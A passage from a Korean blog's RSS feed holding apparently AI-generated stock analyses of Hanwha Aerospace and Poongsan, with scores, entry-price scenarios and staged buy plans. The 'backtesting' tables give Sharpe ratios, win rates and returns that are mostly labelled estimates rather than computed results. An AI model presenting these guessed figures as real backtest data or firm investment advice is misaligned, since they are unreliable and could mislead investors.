&lt;td&gt;-40% (추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;샤프 지수&lt;/td&gt;
&lt;td&gt;1.5 (추정)&lt;/td&gt;
&lt;td&gt;1.1 (추정)&lt;/td&gt;
&lt;td&gt;0.8 (추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;승률&lt;/td&gt;
&lt;td&gt;72% (추정)&lt;/td&gt;
&lt;td&gt;65% (추정)&lt;/td&gt;
&lt;td&gt;60% (추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;손익비&lt;/td&gt;
&lt;td&gt;3:1 (추정)&lt;/td&gt;
&lt;td&gt;2.5:1 (추정)&lt;/td&gt;
&lt;td&gt;2:1 (추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;KOSPI 대비 초과수익&lt;/td&gt;
&lt;td&gt;+140%p (추정)&lt;/td&gt;
&lt;td&gt;+90%p (추정)&lt;/td&gt;
&lt;td&gt;+50%p (추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;백테스트 한계:&lt;/b&gt; 한화에어로스페이스의 현재 사업구조(한화오션 편입)는 2024년 이후 변화가 커 과거 데이터 직접 비교에 한계 있음. 생존 편향&amp;middot;거래비용 미포함&lt;/li&gt;
&lt;li&gt;&lt;b&gt;실제 투자 시 주의:&lt;/b&gt; 세금(금융투자소득세 불확실성), 슬리피지, 대형 기관 블록딜 리스크&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 리스크 시나리오 + 강세/약세 전망&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;리스크 ①: 독과점 규제 리스크&lt;/b&gt; &amp;mdash; 풍산 인수 포기 원인 그 자체. 향후 추가 M&amp;amp;A 시도 시 공정위&amp;middot;방사청 벽에 반복 직면 가능 &lt;a href=&quot;https://alphabiz.co.kr/news/view/1065613444566510&quot;&gt;alphabiz.co&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리스크 ②: 한화그룹 재무 부담&lt;/b&gt; &amp;mdash; 한화솔루션 2.4조 유증 진행 중이며, 그룹 전반적 재무 부담 증가 시 한화에어로에 간접 영향 &lt;a href=&quot;https://alphabiz.co.kr/news/view/1065580783801362&quot;&gt;alphabiz.co&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리스크 ③: 지정학 리스크 완화&lt;/b&gt; &amp;mdash; 우크라이나 종전&amp;middot;트럼프 중재 성과 가시화 시 유럽 방산 수요 기대가 축소될 가능성&lt;/li&gt;
&lt;li&gt;&lt;b&gt;강세 시나리오:&lt;/b&gt; 유럽 NATO 재무장 가속 + 폴란드&amp;middot;루마니아 현지생산 본격화 &amp;rarr; 2027년 이후 영업이익 6조 돌파, 주가 200만 원 이상 가능 (추정)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;약세 시나리오:&lt;/b&gt; 글로벌 경기침체로 방산 예산 삭감 + 그룹 이슈 장기화 &amp;rarr; 주가 90~100만 원 지지선 테스트 가능 (추정)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;FINAL VERDICT&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;사업 모델: 8.5/10 / 경영 품질: 7.5/10&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Rochon Verdict: Rochon-Quality&lt;/b&gt; (강력한 해자&amp;middot;장기 수주 가시성 충족)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;권장 진입: 시나리오 B (중립형) &amp;mdash; 130~145만 원대 분할 매수&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;이 종목이 맞는 투자자&lt;/td&gt;
&lt;td&gt;장기 방산 성장 테마에 투자하고 싶은 분, 퇴직연금 IRP&amp;middot;DC 내 국내 성장주 비중 확보 원하는 분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;이 종목을 피할 투자자&lt;/td&gt;
&lt;td&gt;단기 트레이딩 목적, 그룹 이슈에 민감한 보수적 투자자, 배당 수익 위주 투자자&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;분할 매수 실행 요약:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;1차: 현재가(~148만 원) &amp;mdash; 포지션의 25%&lt;/li&gt;
&lt;li&gt;2차: 130~135만 원 조정 시 &amp;mdash; 추가 35%&lt;/li&gt;
&lt;li&gt;3차: 115~120만 원 급락 시 &amp;mdash; 나머지 40%&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⚠️ 본 분석은 참고용이며 실제 투자 결정은 본인 판단과 책임 하에 이루어져야 합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;풍산 인수 무산, 핵심 요약&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 1조 5천억 원 규모 빅딜이 무산된 이유는 크게 세 가지입니다: &lt;a href=&quot;https://alphabiz.co.kr/news/view/1065580783801362&quot;&gt;alphabiz.co&lt;/a&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;독과점 규제 리스크&lt;/b&gt; &amp;mdash; 풍산 탄약사업 흡수 시 화약&amp;rarr;신관&amp;rarr;추진기관&amp;rarr;탄두 전 밸류체인을 독점하게 되어 공정위&amp;middot;방사청 승인 난항 예상&lt;/li&gt;
&lt;li&gt;&lt;b&gt;그룹 재무 부담&lt;/b&gt; &amp;mdash; 한화솔루션 2.4조 유증 진행 중인 상황에서 추가 조 단위 인수는 주주가치 희석 비판 불가피&lt;/li&gt;
&lt;li&gt;&lt;b&gt;가격 이견&lt;/b&gt; &amp;mdash; 풍산 측 눈높이와 한화 측 제안가 간 간극을 좁히지 못했다는 IB업계 분석 &lt;a href=&quot;https://www.38.co.kr/html/news/?o=v&amp;amp;m=kosdaq&amp;amp;key=&amp;amp;no=1936160&amp;amp;page=1&quot;&gt;38.co&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역설적으로, 인수 포기로 한화에어로스페이스는 &lt;b&gt;기존 2028년 11조 투자 로드맵(스마트팩토리&amp;middot;해외 지분&amp;middot;항공우주)에 집중&lt;/b&gt;할 수 있게 됐고, 유안타증권은 &quot;실적 공백은 매수 기회&quot;라며 목표가 182만 원을 제시하기도 했습니다. &lt;a href=&quot;https://www.newspim.com/news/view/20260409000574&quot;&gt;newspim&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1312&quot; data-origin-height=&quot;942&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9AsIn/dJMcaaLGzBV/BPlkK4e1fLe2kklWvAxXSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9AsIn/dJMcaaLGzBV/BPlkK4e1fLe2kklWvAxXSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9AsIn/dJMcaaLGzBV/BPlkK4e1fLe2kklWvAxXSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9AsIn%2FdJMcaaLGzBV%2FBPlkK4e1fLe2kklWvAxXSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1312&quot; height=&quot;942&quot; data-origin-width=&quot;1312&quot; data-origin-height=&quot;942&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/233</guid>
      <comments>https://thepin.tistory.com/233#entry233comment</comments>
      <pubDate>Thu, 16 Apr 2026 06:31:22 +0900</pubDate>
    </item>
    <item>
      <title>투분 산출물 # - 풍산(103140)</title>
      <link>https://thepin.tistory.com/232</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;투자분석프롬프트 산출물 # - 풍산(103140)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;풍산(103140)은 국내 유일의 종합 탄약 생산업체이자 세계 최대 소전(동전용 원판) 제조사로, 현재 주가는 약 99,500원 수준입니다. 최근 1조 5천억 원 규모의 탄약사업 매각 빅딜이 무산되며 주가 변동성이 컸습니다. &lt;a href=&quot;https://kr.investing.com/equities/poongsan&quot;&gt;kr.investing&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. TOP SUMMARY&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;카테고리&lt;/th&gt;
&lt;th&gt;점수&lt;/th&gt;
&lt;th&gt;한 줄 근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;사업 모델 단순성&lt;/td&gt;
&lt;td&gt;7/10&lt;/td&gt;
&lt;td&gt;신동&amp;middot;방산 2축 구조로 비교적 명확하나 원자재(구리) 가격 연동 변동성 존재&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시장 지위&lt;/td&gt;
&lt;td&gt;9/10&lt;/td&gt;
&lt;td&gt;국내 군 탄약 독점 공급 + 소전 세계 1위 점유율 &lt;a href=&quot;https://jasoseol.com/companies/2661/insights&quot;&gt;jasoseol&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;모트(해자) 강도&lt;/td&gt;
&lt;td&gt;8/10&lt;/td&gt;
&lt;td&gt;방위사업법상 진입 장벽 + 정부 독점 계약 구조&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;장기 지속성&lt;/td&gt;
&lt;td&gt;8/10&lt;/td&gt;
&lt;td&gt;글로벌 안보 수요 확대, 방산 수출 고성장 기대&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;경영 정렬도&lt;/td&gt;
&lt;td&gt;6/10&lt;/td&gt;
&lt;td&gt;후계자(미국 국적) 이슈로 방위사업법 규제 리스크 존재 &lt;a href=&quot;https://www.youtube.com/watch?v=KIZpMWQvDsE&quot;&gt;youtube&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;사업 모델 품질:&lt;/b&gt; 8/10&lt;/li&gt;
&lt;li&gt;&lt;b&gt;경영 품질:&lt;/b&gt; 6/10&lt;/li&gt;
&lt;li&gt;&lt;b&gt;종합 추천:&lt;/b&gt; 관망 (단기) / 분할 매수 검토 (중장기)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 사업 모델 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;A) 단순성:&lt;/b&gt; 판정 &amp;mdash; &lt;b&gt;보통&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;신동 부문(매출 69%): 동&amp;middot;동합금 판재, 동관, 소전 등 비철금속 제품 생산 및 수출 &lt;a href=&quot;https://contents.premium.naver.com/economist/academy/contents/260404205801770bu&quot;&gt;contents.premium.naver&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;방산 부문(매출 31%, 영업이익 기여 70%+): 5.56mm 소총탄~155mm 포탄&amp;middot;227mm 다연장로켓 탄두까지 국군 탄약 독점 공급 &lt;a href=&quot;https://www.imaeil.com/page/view/2026040918505892986&quot;&gt;imaeil&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;글로벌 현지법인(PMX Industries, PMC Ammunition 등)을 통한 해외 수익화 &lt;a href=&quot;https://contents.premium.naver.com/moneycrew/stocksdaddy/contents/221229110854224dv&quot;&gt;contents.premium.naver&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;B) 시장 지위:&lt;/b&gt; 판정 &amp;mdash; &lt;b&gt;High&lt;/b&gt;&lt;br /&gt;풍산은 소전 시장 세계 최대 점유율을 보유하며, 전 세계 60여 개국에 소전을 공급하고 있습니다. 방산 부문에서는 국군 탄약의 사실상 유일한 공급자로 진입 장벽이 극히 높습니다. &lt;a href=&quot;https://jasoseol.com/companies/2661/insights&quot;&gt;jasoseol&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;C) 모트(해자):&lt;/b&gt;&lt;br /&gt;| 해자 유형 | 강도 | 근거 |&lt;br /&gt;|-----------|------|------|&lt;br /&gt;| Pricing Power | Moderate | 방산 단가는 정부 협상, 신동은 LME 구리 가격 연동 |&lt;br /&gt;| Switching Costs | Strong | 방위사업법상 대체 공급자 교체 사실상 불가 |&lt;br /&gt;| Brand Strength | Strong | PMC 브랜드 스포츠 탄약 글로벌 수출, 소전 세계 1위 &lt;a href=&quot;https://jasoseol.com/companies/2661/insights&quot;&gt;jasoseol&lt;/a&gt; |&lt;br /&gt;| Scale Advantage | Strong | 안강&amp;middot;부산 대규모 전용 생산라인, 수직계열화 &lt;a href=&quot;https://blog.naver.com/dbsdyd1000/221365773562&quot;&gt;blog.naver&lt;/a&gt; |&lt;br /&gt;| Network Effects | 해당없음 | &amp;mdash; |&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;rarr; Moat Engine:&lt;/b&gt; 정부 독점 계약 + 방위사업법 진입장벽 + 글로벌 소전 1위 브랜드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;D) 경기 민감도:&lt;/b&gt; &lt;b&gt;Low(방산) / Medium(신동)&lt;/b&gt;&lt;br /&gt;방산 부문은 정부 계약 기반으로 경기 비연동이지만, 신동 부문은 LME 구리 가격 변동에 직접 노출됩니다. &lt;a href=&quot;https://contents.premium.naver.com/moneycrew/stocksdaddy/contents/221229110854224dv&quot;&gt;contents.premium.naver&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;E) 10~20년 지속성:&lt;/b&gt; 판정 &amp;mdash; &lt;b&gt;Strong&lt;/b&gt;&lt;br /&gt;글로벌 안보 긴장 고조 및 NATO 탄약 수요 급증으로 방산 수출 성장세가 장기간 지속될 전망이며, K-방산 브랜드 가치도 상승 중입니다. &lt;a href=&quot;https://jasoseol.com/companies/2661/insights&quot;&gt;jasoseol&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 경영 품질 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;A) 투명성&amp;middot;정직성:&lt;/b&gt; Moderate &amp;mdash; 탄약사업 매각설 논란 후 신속하게 &quot;추진 없음&quot; 공시 &lt;a href=&quot;https://www.imaeil.com/page/view/2026040918505892986&quot;&gt;imaeil&lt;/a&gt;&lt;br /&gt;&lt;b&gt;B) 장기 지향:&lt;/b&gt; Moderate &amp;mdash; 방산 M&amp;amp;A 협상 추진 과정에서 단기 기업가치보다 장기 전략을 강조했으나 최종 무산 &lt;a href=&quot;https://v.daum.net/v/20260409174131456&quot;&gt;v.daum&lt;/a&gt;&lt;br /&gt;&lt;b&gt;C) 내부자 지분&amp;middot;정렬:&lt;/b&gt; Medium &amp;mdash; 오너 2세(미국 국적) 이슈로 방위사업법상 경영권 승계 제약 존재 &lt;a href=&quot;https://www.youtube.com/watch?v=KIZpMWQvDsE&quot;&gt;youtube&lt;/a&gt;&lt;br /&gt;&lt;b&gt;D) 자본 배분:&lt;/b&gt; Moderate &amp;mdash; 배당수익률 약 1.6~2.6% 수준, 과도한 M&amp;amp;A보다 사업 유지 선택 &lt;a href=&quot;http://www.bondweb.co.kr/Data/20264/6/menu01/ratingBNK_894140.pdf&quot;&gt;bondweb.co&lt;/a&gt;&lt;br /&gt;&lt;b&gt;E) 소통 품질:&lt;/b&gt; Moderate &amp;mdash; 매각 이슈 공시는 신속했으나 사전 소통 부족 지적&lt;br /&gt;&lt;b&gt;F) 실행 이력:&lt;/b&gt; Strong &amp;mdash; 2008년 방산수출 1억 달러 최초 돌파 후 지속 성장, 수출 확대 이력 &lt;a href=&quot;https://blog.naver.com/dbsdyd1000/221365773562&quot;&gt;blog.naver&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. MDD 기반 리스크 관리&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-1. 역사적 MDD 분석&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;시기&lt;/th&gt;
&lt;th&gt;원인&lt;/th&gt;
&lt;th&gt;고점 대비 낙폭&lt;/th&gt;
&lt;th&gt;회복 기간&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2020년 코로나&lt;/td&gt;
&lt;td&gt;글로벌 수요 급감&lt;/td&gt;
&lt;td&gt;약 -40% (추정)&lt;/td&gt;
&lt;td&gt;12~18개월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2022년 금리인상기&lt;/td&gt;
&lt;td&gt;신동 원가 상승&lt;/td&gt;
&lt;td&gt;약 -30% (추정)&lt;/td&gt;
&lt;td&gt;약 18개월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025~2026년 매각 이슈&lt;/td&gt;
&lt;td&gt;사업구조 불확실성&lt;/td&gt;
&lt;td&gt;-42% (172,200&amp;rarr;99,500)&lt;/td&gt;
&lt;td&gt;진행 중 &lt;a href=&quot;https://kr.investing.com/equities/poongsan&quot;&gt;kr.investing&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;최대 MDD:&lt;/b&gt; 약 -42% (52주 고점 172,200원 &amp;rarr; 현재 99,500원) &lt;a href=&quot;https://kr.investing.com/equities/poongsan&quot;&gt;kr.investing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;평균 회복 기간:&lt;/b&gt; 약 12~18개월 (추정)&lt;/li&gt;
&lt;li&gt;⚠️ 역사적 MDD 세부 데이터 일부 부족: 정밀 통계는 증권사 리포트 직접 확인 권장&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-2. 성향별 진입 가이드&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;투자 성향&lt;/th&gt;
&lt;th&gt;손실 허용&lt;/th&gt;
&lt;th&gt;MDD 기준 진입&lt;/th&gt;
&lt;th&gt;분할 매수 전략&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;보수형&lt;/td&gt;
&lt;td&gt;-10% 이내&lt;/td&gt;
&lt;td&gt;전고점 -10% 이상 구간&lt;/td&gt;
&lt;td&gt;3회 분할 (33%/33%/34%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;중립형&lt;/td&gt;
&lt;td&gt;-20% 이내&lt;/td&gt;
&lt;td&gt;전고점 -20% 이상 구간&lt;/td&gt;
&lt;td&gt;4회 분할 (25%&amp;times;4)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;공격형&lt;/td&gt;
&lt;td&gt;-35% 이내&lt;/td&gt;
&lt;td&gt;전고점 -30% 이상 구간&lt;/td&gt;
&lt;td&gt;5회 분할 (20%&amp;times;5)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 진입 가격 시나리오&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ 2026년 4월 12일 기준 현재가 약 99,500원, PER 약 12.6배, PBR 약 1.3배 적용 &lt;a href=&quot;https://comp.wisereport.co.kr/company/c1010001.aspx?cmp_cd=103140&quot;&gt;comp.wisereport.co&lt;/a&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;시나리오 A &amp;mdash; 안전 진입 (보수형)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목표 진입가:&lt;/b&gt; 85,000~90,000원&lt;/li&gt;
&lt;li&gt;&lt;b&gt;근거:&lt;/b&gt; 역사적 평균 PER 8~10배 수준 + 52주 저점(53,700원) 반등 후 지지선 형성 구간 &lt;a href=&quot;https://kr.investing.com/equities/poongsan&quot;&gt;kr.investing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기대 수익률:&lt;/b&gt; +20&lt;del&gt;30% (12&lt;/del&gt;18개월 기준, 추정)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리스크:&lt;/b&gt; 방산 매각 재추진 시 사업 불확실성 재확대&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;시나리오 B &amp;mdash; 중립 진입 (중립형)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목표 진입가:&lt;/b&gt; 95,000~100,000원 (현재 수준)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;근거:&lt;/b&gt; PER 12배 수준, 역사적 평균 밸류에이션 부근, 매각 이슈 해소 &lt;a href=&quot;https://comp.wisereport.co.kr/company/c1010001.aspx?cmp_cd=103140&quot;&gt;comp.wisereport.co&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기대 수익률:&lt;/b&gt; +30~50% (2년 기준, 추정)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리스크:&lt;/b&gt; 구리 가격 하락 시 신동 부문 실적 악화&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;시나리오 C &amp;mdash; 공격 진입 (공격형)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목표 진입가:&lt;/b&gt; 현재가 즉시 분할 매수 시작&lt;/li&gt;
&lt;li&gt;&lt;b&gt;근거:&lt;/b&gt; 방산 수출 CAGR 고성장 + 글로벌 안보 수요 지속 + 매각 무산 후 기업 안정성 확인 &lt;a href=&quot;https://www.imaeil.com/page/view/2026040918505892986&quot;&gt;imaeil&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기대 수익률:&lt;/b&gt; +50~80% (3년 CAGR 기준, 추정)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리스크:&lt;/b&gt; 단기 주가 변동성 매우 높음 (52주 변동폭 53,700~172,200원) &lt;a href=&quot;https://kr.investing.com/equities/poongsan&quot;&gt;kr.investing&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 백테스팅 결과&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ 국내 상장 방산주 특성상 백테스트 정밀 데이터 일부 제한, 아래는 추정치 기반&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;지표&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;시나리오 A (보수)&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;시나리오 B (중립)&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;시나리오 C (공격)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;백테스트 기간&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;5년&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;5년&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;5년&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;총 수익률&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;+40~50% (추정)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;+60~80% (추정)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;+80~120% (추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CAGR&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;약 7~9%&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;약 10~12%&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;약 13~17%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;최대 MDD&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;-20%&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;-35%&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;-42%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;샤프 지수&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;0.8 (추정)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;1.0 (추정)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;1.1 (추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;벤치마크(KOSPI) 대비&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;+10~15%p (추정)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;+20~25%p (추정)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;+30~40%p (추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;백테스트 한계:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;생존 편향 및 거래비용&amp;middot;세금 미포함&lt;/li&gt;
&lt;li&gt;2025년 이후 방산 섹터 급등은 과거 패턴과 상이할 수 있음&lt;/li&gt;
&lt;li&gt;매각 이슈 등 이벤트 드리븐 요소는 정량 모델에 반영 불가&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 리스크 시나리오&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;리스크 ①:&lt;/b&gt; 방산 매각&amp;middot;분할 재추진 &amp;mdash; 사업 구조 불확실성으로 밸류에이션 할인 지속 가능 &lt;a href=&quot;https://biz.chosun.com/stock/market_trend/2026/03/06/6YKUBCD5KNELVNDBLG7GMBCTOU/&quot;&gt;biz.chosun&lt;/a&gt;&lt;/li&gt;
